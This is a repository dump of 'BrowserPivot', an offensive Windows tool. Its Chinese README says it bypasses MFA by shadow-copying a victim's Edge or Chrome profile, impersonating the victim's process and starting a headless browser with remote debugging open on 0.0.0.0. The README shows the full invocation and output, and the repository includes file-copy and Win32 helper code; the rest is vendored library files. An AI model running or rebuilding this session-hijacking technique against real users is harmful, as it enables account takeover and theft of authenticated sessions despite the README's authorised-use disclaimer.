5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("BrowserPivot")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("BrowserPivot")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("7d2c1ab6-06ce-4440-9c46-382447f78f9a")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
33 | //通过使用 "*",如下所示:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/BrowserPivot/file_managent.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.IO;
4 | using System.Runtime.InteropServices;
5 | using static BrowserPivot.win32api;
6 |
7 |
8 | namespace BrowserPivot
9 | {
10 | class file_managent
11 | {
12 | public static bool isCancelled = false;
13 |
14 | private static void copy_file(string sourceFilePath, string destinationFilePath)
15 | {
16 | try
17 | {
18 | bool success = CopyFileEx(sourceFilePath, destinationFilePath, IntPtr.Zero, IntPtr.Zero, ref isCancelled, COPY_FILE_FLAGS.COPY_FILE_RESTARTABLE);
19 | if (!success)
20 | {
21 | int error = Marshal.GetLastWin32Error();
22 | Win32Exception ex = new Win32Exception(error);
23 | Console.WriteLine($"Failed to copy file {sourceFilePath}. Error code: {error}, Message: {ex.Message}");
24 | }
25 | }
26 | catch (Exception e)
27 | {
28 | Console.WriteLine(e.Message);
29 | }
30 | }
31 |
32 | public static void copy_folder(string sourceFolderPath, string destinationFolderPath)
33 | {
34 | if (!Directory.Exists(destinationFolderPath))
35 | Directory.CreateDirectory(destinationFolderPath);
36 |
37 | IntPtr hFind = IntPtr.Zero;
38 | WIN32_FIND_DATA findData = new WIN32_FIND_DATA();
39 |
40 | // 枚举源文件夹中的文件和子文件夹
41 | hFind = FindFirstFileEx(sourceFolderPath + @"\*", FINDEX_INFO_LEVELS.FindExInfoStandard, out findData,
42 | FINDEX_SEARCH_OPS.FindExSearchNameMatch, IntPtr.Zero, FIND_FIRST_EX_LARGE_FETCH);
43 | if (hFind != new IntPtr(-1))
44 | {
45 | do
46 | {
47 | try
48 | {
49 | if ((Convert.ToUInt32(findData.dwFileAttributes) & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)
50 | {
51 | // 复制子文件夹
52 | if (findData.cFileName != "." && findData.cFileName != "..")
53 | {
54 | string sourceSubFolderPath = sourceFolderPath + @"\" + findData.cFileName;
55 | string destinationSubFolderPath = destinationFolderPath + @"\" + findData.cFileName;
56 | copy_folder(sourceSubFolderPath, destinationSubFolderPath);
57 | }
58 | }
59 | else
60 | {
61 | // 复制文件
62 | string sourceFilePath = sourceFolderPath + @"\" + findData.cFileName;
63 | string destinationFilePath = destinationFolderPath + @"\" + findData.cFileName;
64 | copy_file(sourceFilePath, destinationFilePath);
65 | }
66 |
67 | // 检查是否已取消复制操作
68 | if (isCancelled)
69 | {
70 | break;
71 | }
72 | }
73 | catch { }
74 |
75 | } while (FindNextFile(hFind, out findData));
76 |
77 | FindClose(hFind);
78 | }
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/BrowserPivot/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/BrowserPivot/win32api.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace BrowserPivot
10 | {
11 | public class win32api
12 | {
13 | // 定义 WIN32_FIND_DATA 结构体
14 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
15 | public struct WIN32_FIND_DATA
16 | {
17 | public FileAttributes dwFileAttributes;
18 | public FILETIME ftCreationTime;
19 | public FILETIME ftLastAccessTime;
20 | public FILETIME ftLastWriteTime;
21 | public uint nFileSizeHigh;
22 | public uint nFileSizeLow;
23 | public uint dwReserved0;
24 | public uint dwReserved1;
25 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
26 | public string cFileName;
27 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)]
28 | public string cAlternateFileName;
29 | }
30 |
31 | // 定义常量和枚举
32 | public const uint INVALID_HANDLE_VALUE = 0xFFFFFFFF;
33 | public const uint FILE_ATTRIBUTE_DIRECTORY = 0x10;
34 | public const uint FIND_FIRST_EX_LARGE_FETCH = 0x2;
35 |
36 | [Flags]
37 | public enum COPY_FILE_FLAGS : uint
38 | {
39 | COPY_FILE_RESTARTABLE = 0x00000002,
40 | COPY_FILE_COPY_SYMLINK = 0x00000800,
41 | COPY_FILE_FAIL_IF_EXISTS = 0x00000001,
42 | COPY_FILE_OPEN_SOURCE_FOR_WRITE = 0x00000004,
43 | COPY_FILE_ALLOW_DECRYPTED_DESTINATION = 0x00000008,
44 | COPY_FILE_COPY_HARD_LINK = 0x00001000,
45 | COPY_FILE_COPY_SECURITY = 0x00002000,
46 | COPY_FILE_NO_BUFFERING = 0x00001000,
47 | COPY_FILE_REQUEST_SECURITY_PRIVILEGES = 0x00002000
48 | }
49 |
50 | public enum FINDEX_INFO_LEVELS
51 | {
52 | FindExInfoStandard = 0,
53 | FindExInfoBasic = 1,
54 | FindExInfoMaxInfoLevel = 2
55 | }
56 |
57 | public enum FINDEX_SEARCH_OPS
58 | {
59 | FindExSearchNameMatch = 0,
60 | FindExSearchLimitToDirectories = 1,
61 | FindExSearchLimitToDevices = 2,
62 | FindExSearchMaxSearchOp = 3
63 | }
64 |
65 |
66 | // 定义 FindFirstFileEx 函数
67 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
68 | public static extern IntPtr FindFirstFileEx(string lpFileName, FINDEX_INFO_LEVELS fInfoLevelId,
69 | out WIN32_FIND_DATA lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, IntPtr lpSearchFilter, uint dwAdditionalFlags);
70 |
71 | // 定义 FindNextFile 函数
72 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
73 | public static extern bool FindNextFile(IntPtr hFindFile, out WIN32_FIND_DATA lpFindFileData);
74 |
75 | // 定义 FindClose 函数
76 | [DllImport("kernel32.dll", SetLastError = true)]
77 | public static extern bool FindClose(IntPtr hFindFile);
78 |
79 | // 定义 CopyFileEx 函数
80 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
81 | public static extern bool CopyFileEx(string lpExistingFileName, string lpNewFileName,
82 | IntPtr lpProgressRoutine, IntPtr lpData, ref bool pbCancel, COPY_FILE_FLAGS dwCopyFlags);
83 |
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BrowserPivot
2 |
3 | BrowserPivot是一个基于卷影复制和浏览器调试模式功能以达到绕过MFA验证的自动化辅助工具。
4 |
5 | # 使用场景
6 |
7 | - 无法使用明文账号密码登录网站
8 | - 无法使用Cookies登录网站
9 |
10 | # 使用方法
11 |
12 | ```
13 | BrowserPivot 1.0.0.0
14 | Copyright ? 2023
15 |
16 | ERROR(S):
17 | Required option 'p, pid' is missing.
18 | Required option 'l, port' is missing.
19 | Required option 'b, browser' is missing.
20 |
21 | -p, --pid Required. Process ID.
22 |
23 | -l, --port Required. Local port.
24 |
25 | -b, --browser Required. Browser (chrome or msedge).
26 |
27 | --help Display this help screen.
28 |
29 | --version Display version information.
30 |
31 | -p 需要模拟的进程PID,通常为要访问的资源用户PID
32 | -l 启动非占用本地端口
33 | -b 请选择chrome或者msedge,其他选择请自行修改代码
34 | ```
35 |
36 |
37 |
38 | ```
39 | C:\Users\rootrain\source\repos\BrowserPivot\BrowserPivot\bin\Debug>BrowserPivot.exe -p 10732 -l 2555 -b msedge
40 |
41 | ____ _____ _ _
42 | | _ \ | __ (_) | |
43 | | |_) |_ __ _____ _____ ___ _ __| |__) |__ _____ | |_
44 | | _ <| '__/ _ \ \ /\ / / __|/ _ \ '__| ___/ \ \ / / _ \| __|
45 | | |_) | | | (_) \ V V /\__ \ __/ | | | | |\ V / (_) | |_
46 | |____/|_| \___/ \_/\_/ |___/\___|_| |_| |_| \_/ \___/ \__|
47 |
48 | [+] Volume: \\?\Volume{e8e4545b-7571-4c89-ba6f-e6cf232eb558}\
49 | [+] Shadow copy ID: {9688E39D-BD6F-4115-B596-90C6BCC71D26}
50 | [+] Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
51 | [+] Copy directory \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\rootrain\AppData\Local\Microsoft\Edge\User Data to directory C:\Users\rootrain\AppData\Local\UwFwjfWgw9
52 | [+] msedge path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
53 | [+] Process handle: True
54 | [+] Impersonated user: DESKTOP-TAVA6P8\rootrain
55 | [+] Start process: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --user-data-dir=C:\Users\rootrain\AppData\Local\UwFwjfWgw9 --remote-debugging-port=2555 --remote-debugging-address=0.0.0.0 --headless about:blank
56 | [+] Shadows deleted successfully
57 | ```
58 |
59 |
60 |
61 | # 注意事项
62 |
63 | ```
64 | 1.如发现C盘磁盘占用过高,请清除卷影复制的目录,位于C:\Users\%USERNAME%\AppData\Local\
65 | 2.如果进程无法进行模拟,可以多试几个PID,或者手动启动进行并模拟
66 | ```
67 |
68 | # 免责声明
69 | 本工具仅面向合法授权的企业安全建设行为或教学使用,如您需要测试本工具的可用性,请自行搭建靶机环境。
70 |
71 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描和攻击。
72 |
73 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。
74 |
75 | 在安装并使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
76 |
77 | # 安恒-星火实验室
78 |
79 |
80 |
81 |
82 |
83 | 专注于实战攻防与研究,研究涉及实战攻防、威胁情报、攻击模拟与威胁分析等,团队成员均来自行业具备多年实战攻防经验的红队、蓝队和紫队专家。本着以攻促防的核心理念,通过落地 ATT&CK 攻防全景知识库,全面构建实战化、常态化、体系化的企业安全建设与运营。
84 |
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/CommandLineParser.2.9.1/.signature.p7s
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/CommandLine20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/CommandLineParser.2.9.1/CommandLine20.png
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/CommandLineParser.2.9.1.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/CommandLineParser.2.9.1/CommandLineParser.2.9.1.nupkg
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/License.md:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2005 - 2015 Giacomo Stelluti Scala & Contributors
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
22 |
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/README.md:
--------------------------------------------------------------------------------
1 | [](https://ci.appveyor.com/project/commandlineparser/commandline/branch/master)
2 | [](http://nuget.org/packages/commandlineparser)
3 | [](https://www.nuget.org/packages/CommandLineParser/)
4 | [](https://www.nuget.org/packages/CommandLineParser/)
5 | [](https://gitter.im/gsscoder/commandline?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
6 |
7 | # Command Line Parser Library for CLR and NetStandard
8 |
9 | **Note:** the API surface has changed since v1.9.x and earlier. If you are looking for documentation on v1.9.x, please see [stable-1.9.71.2](https://github.com/gsscoder/commandline/tree/stable-1.9.71.2)
10 |
11 | The Command Line Parser Library offers CLR applications a clean and concise API for manipulating command line arguments and related tasks, such as defining switches, options and verb commands. It allows you to display a help screen with a high degree of customization and a simple way to report syntax errors to the end user.
12 |
13 | ```
14 | C:\Project> NuGet Install CommandLineParser
15 | ```
16 |
17 | # Nightly Build
18 |
19 | Nightly version of the CommandLineParser can be downloaded from github [Releases](https://github.com/commandlineparser/commandline/releases).
20 |
21 | The Last new features and fixes, read [changelog](https://github.com/commandlineparser/commandline/blob/master/CHANGELOG.md)
22 |
23 |
24 | _NOTE: Mentioned F# Support is provided via ```CommandLineParser.FSharp``` package with FSharp dependencies._
25 |
26 | __This library provides _hassle free_ command line parsing with a constantly updated API since 2005.__
27 |
28 | # At a glance:
29 |
30 | - Compatible with __.NET Framework 4.0+__, __Mono 2.1+ Profile__, __.NET Standard__ and __.NET Core__
31 | - Doesn't depend on other packages (No dependencies beyond standard base libraries)
32 | - One line parsing using default singleton: `CommandLine.Parser.Default.ParseArguments(...)` and three overload methods.
33 | - Automatic or one line help screen generator: `HelpText.AutoBuild(...)`.
34 | - Supports `--help`, `--version`, `version` and `help [verb]` by default with customization.
35 | - Map to sequences (via `IEnumerable` and similar) and scalar types, including Enums and `Nullable`.
36 | - You can also map to every type with a constructor that accepts a string (like `System.Uri`) for reference and value types.
37 | - Verbs can be array of types collected from Plugins or IoC container.
38 | - Define [verb commands](https://github.com/commandlineparser/commandline/wiki/Verbs) similar to `git commit -a`.
39 | - Support default verb.
40 | - Support Mutable and Immutable types.
41 | - Support HelpText localization.
42 | - Support ordering of options in HelpText.
43 | - Support [Mutually Exclusive Options](https://github.com/commandlineparser/commandline/wiki/Mutually-Exclusive-Options) and [Option groups](https://github.com/commandlineparser/commandline/wiki/Option-Groups).
44 | - Support named and value options.
45 | - Support Asynchronous programming with async and await.
46 | - Unparsing support: `CommandLine.Parser.Default.FormatCommandLine(T options)`.
47 | - CommandLineParser.FSharp package is F#-friendly with support for `option<'a>`, see [demo](https://github.com/commandlineparser/commandline/blob/master/demo/fsharp-demo.fsx). _NOTE: This is a separate NuGet package._
48 | - Include wiki documentation with lot of examples ready to run online.
49 | - Support Source Link and symbolic nuget package snupkg.
50 | - Tested in Windows, Linux Ubuntu 18.04 and Mac OS.
51 | - Most of features applies with a [CoC](http://en.wikipedia.org/wiki/Convention_over_configuration) philosophy.
52 | - C# demo: source [here](https://github.com/commandlineparser/commandline/tree/master/demo/ReadText.Demo).
53 |
54 | # Getting Started with the Command Line Parser Library
55 |
56 | You can utilize the parser library in several ways:
57 |
58 | - Install via NuGet/Paket: [https://www.nuget.org/packages/CommandLineParser/](https://www.nuget.org/packages/CommandLineParser/)
59 | - Integrate directly into your project by copying the .cs files into your project.
60 | - ILMerge during your build process.
61 |
62 | ## Quick Start Examples
63 |
64 | 1. Create a class to define valid options, and to receive the parsed options.
65 | 2. Call ParseArguments with the args string array.
66 |
67 | C# Quick Start:
68 |
69 | ```cs
70 | using System;
71 | using CommandLine;
72 |
73 | namespace QuickStart
74 | {
75 | class Program
76 | {
77 | public class Options
78 | {
79 | [Option('v', "verbose", Required = false, HelpText = "Set output to verbose messages.")]
80 | public bool Verbose { get; set; }
81 | }
82 |
83 | static void Main(string[] args)
84 | {
85 | Parser.Default.ParseArguments(args)
86 | .WithParsed(o =>
87 | {
88 | if (o.Verbose)
89 | {
90 | Console.WriteLine($"Verbose output enabled. Current Arguments: -v {o.Verbose}");
91 | Console.WriteLine("Quick Start Example! App is in Verbose mode!");
92 | }
93 | else
94 | {
95 | Console.WriteLine($"Current Arguments: -v {o.Verbose}");
96 | Console.WriteLine("Quick Start Example!");
97 | }
98 | });
99 | }
100 | }
101 | }
102 | ```
103 |
104 | ## C# Examples:
105 |
106 |
107 | Click to expand!
108 |
109 | ```cs
110 |
111 | class Options
112 | {
113 | [Option('r', "read", Required = true, HelpText = "Input files to be processed.")]
114 | public IEnumerable InputFiles { get; set; }
115 |
116 | // Omitting long name, defaults to name of property, ie "--verbose"
117 | [Option(
118 | Default = false,
119 | HelpText = "Prints all messages to standard output.")]
120 | public bool Verbose { get; set; }
121 |
122 | [Option("stdin",
123 | Default = false,
124 | HelpText = "Read from stdin")]
125 | public bool stdin { get; set; }
126 |
127 | [Value(0, MetaName = "offset", HelpText = "File offset.")]
128 | public long? Offset { get; set; }
129 | }
130 |
131 | static void Main(string[] args)
132 | {
133 | CommandLine.Parser.Default.ParseArguments(args)
134 | .WithParsed(RunOptions)
135 | .WithNotParsed(HandleParseError);
136 | }
137 | static void RunOptions(Options opts)
138 | {
139 | //handle options
140 | }
141 | static void HandleParseError(IEnumerable errs)
142 | {
143 | //handle errors
144 | }
145 |
146 | ```
147 |
148 |
149 |
150 | Demo to show IEnumerable options and other usage: [Online Demo](https://dotnetfiddle.net/wrcAxr)
151 |
152 | ## F# Examples:
153 |
154 |
155 | Click to expand!
156 |
157 | ```fsharp
158 |
159 | type options = {
160 | [
173 |
174 | ## VB.NET Example:
175 |
176 |
177 | Click to expand!
178 |
179 | ```vb
180 |
181 | Class Options
182 |
184 | Public Property InputFiles As IEnumerable(Of String)
185 |
186 | ' Omitting long name, defaults to name of property, ie "--verbose"
187 |
189 | Public Property Verbose As Boolean
190 |
191 |
193 | Public Property Language As String
194 |
195 |
197 | Public Property Offset As Long?
198 | End Class
199 |
200 | Sub Main(ByVal args As String())
201 | CommandLine.Parser.Default.ParseArguments(Of Options)(args) _
202 | .WithParsed(Function(opts As Options) RunOptionsAndReturnExitCode(opts)) _
203 | .WithNotParsed(Function(errs As IEnumerable(Of [Error])) 1)
204 | End Sub
205 | ```
206 |
207 |
208 | ## For verbs:
209 |
210 | 1. Create separate option classes for each verb. An options base class is supported.
211 | 2. Call ParseArguments with all the verb attribute decorated options classes.
212 | 3. Use MapResult to direct program flow to the verb that was parsed.
213 |
214 | ### C# example:
215 |
216 |
217 |
218 | Click to expand!
219 |
220 | ```csharp
221 | [Verb("add", HelpText = "Add file contents to the index.")]
222 | class AddOptions {
223 | //normal options here
224 | }
225 | [Verb("commit", HelpText = "Record changes to the repository.")]
226 | class CommitOptions {
227 | //commit options here
228 | }
229 | [Verb("clone", HelpText = "Clone a repository into a new directory.")]
230 | class CloneOptions {
231 | //clone options here
232 | }
233 |
234 | int Main(string[] args) {
235 | return CommandLine.Parser.Default.ParseArguments(args)
236 | .MapResult(
237 | (AddOptions opts) => RunAddAndReturnExitCode(opts),
238 | (CommitOptions opts) => RunCommitAndReturnExitCode(opts),
239 | (CloneOptions opts) => RunCloneAndReturnExitCode(opts),
240 | errs => 1);
241 | }
242 | ```
243 |
244 |
245 | ### VB.NET example:
246 |
247 |
248 |
249 | Click to expand!
250 |
251 | ```vb
252 |
253 | Public Class AddOptions
254 | 'Normal options here
255 | End Class
256 |
257 | Public Class CommitOptions
258 | 'Normal options here
259 | End Class
260 |
261 | Public Class CloneOptions
262 | 'Normal options here
263 | End Class
264 |
265 | Function Main(ByVal args As String()) As Integer
266 | Return CommandLine.Parser.Default.ParseArguments(Of AddOptions, CommitOptions, CloneOptions)(args) _
267 | .MapResult(
268 | (Function(opts As AddOptions) RunAddAndReturnExitCode(opts)),
269 | (Function(opts As CommitOptions) RunCommitAndReturnExitCode(opts)),
270 | (Function(opts As CloneOptions) RunCloneAndReturnExitCode(opts)),
271 | (Function(errs As IEnumerable(Of [Error])) 1)
272 | )
273 | End Function
274 | ```
275 |
276 |
277 | ### F# Example:
278 |
279 |
280 | Click to expand!
281 |
282 | ```fs
283 | open CommandLine
284 |
285 | []
286 | type AddOptions = {
287 | // normal options here
288 | }
289 | []
290 | type CommitOptions = {
291 | // normal options here
292 | }
293 | []
294 | type CloneOptions = {
295 | // normal options here
296 | }
297 |
298 | []
299 | let main args =
300 | let result = Parser.Default.ParseArguments args
301 | match result with
302 | | :? CommandLine.Parsed as command ->
303 | match command.Value with
304 | | :? AddOptions as opts -> RunAddAndReturnExitCode opts
305 | | :? CommitOptions as opts -> RunCommitAndReturnExitCode opts
306 | | :? CloneOptions as opts -> RunCloneAndReturnExitCode opts
307 | | :? CommandLine.NotParsed -> 1
308 | ```
309 |
310 |
311 | # Release History
312 |
313 | See the [changelog](CHANGELOG.md)
314 |
315 | # Contributors
316 | First off, _Thank you!_ All contributions are welcome.
317 |
318 | Please consider sticking with the GNU getopt standard for command line parsing.
319 |
320 | Additionally, for easiest diff compares, please follow the project's tabs settings. Utilizing the EditorConfig extension for Visual Studio/your favorite IDE is recommended.
321 |
322 | __And most importantly, please target the ```develop``` branch in your pull requests!__
323 |
324 | ## Main Contributors (alphabetical order):
325 | - Alexander Fast (@mizipzor)
326 | - Dan Nemec (@nemec)
327 | - Eric Newton (@ericnewton76)
328 | - Kevin Moore (@gimmemoore)
329 | - Moh-Hassan (@moh-hassan)
330 | - Steven Evans
331 | - Thomas Démoulins (@Thilas)
332 |
333 | ## Resources for newcomers:
334 |
335 | - [Wiki](https://github.com/commandlineparser/commandline/wiki)
336 | - [GNU getopt](http://www.gnu.org/software/libc/manual/html_node/Getopt.html)
337 |
338 | # Contacts:
339 |
340 | - Giacomo Stelluti Scala
341 | - gsscoder AT gmail DOT com (_use this for everything that is not available via GitHub features_)
342 | - GitHub: [gsscoder](https://github.com/gsscoder)
343 | - [Blog](http://gsscoder.blogspot.it)
344 | - [Twitter](http://twitter.com/gsscoder)
345 | - Dan Nemec
346 | - Eric Newton
347 | - ericnewton76+commandlineparser AT gmail DOT com
348 | - GitHub: [ericnewton76](https://github.com/ericnewton76)
349 | - Blog:
350 | - Twitter: [enorl76](http://twitter.com/enorl76)
351 | - Moh-Hassan
352 |
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/lib/net40/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/CommandLineParser.2.9.1/lib/net40/CommandLine.dll
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/lib/net45/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/CommandLineParser.2.9.1/lib/net45/CommandLine.dll
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/lib/net461/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/CommandLineParser.2.9.1/lib/net461/CommandLine.dll
--------------------------------------------------------------------------------
/packages/CommandLineParser.2.9.1/lib/netstandard2.0/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/CommandLineParser.2.9.1/lib/netstandard2.0/CommandLine.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/.signature.p7s
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/Costura.Fody.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Fody.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/Costura.Fody.pdb
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Tasks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/Costura.Tasks.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/build/dotnet/Costura.Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | $(MSBuildThisFileDirectory)..\..\
6 |
7 |
8 |
11 |
12 |
13 |
14 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/build/portable-net+sl+win+wpa+wp/Costura.Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | $(MSBuildThisFileDirectory)..\..\
6 |
7 |
8 |
11 |
12 |
13 |
14 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/tools/install.ps1:
--------------------------------------------------------------------------------
1 | param($installPath, $toolsPath, $package, $project)
2 |
3 |
4 | function RemoveForceProjectLevelHack($project)
5 | {
6 | Write-Host "RemoveForceProjectLevelHack"
7 | Foreach ($item in $project.ProjectItems)
8 | {
9 | if ($item.Name -eq "Fody_ToBeDeleted.txt")
10 | {
11 | $item.Delete()
12 | }
13 | }
14 | }
15 |
16 | function FlushVariables()
17 | {
18 | Write-Host "Flushing environment variables"
19 | $env:FodyLastProjectPath = ""
20 | $env:FodyLastWeaverName = ""
21 | $env:FodyLastXmlContents = ""
22 | }
23 |
24 | function Update-FodyConfig($addinName, $project)
25 | {
26 | Write-Host "Update-FodyConfig"
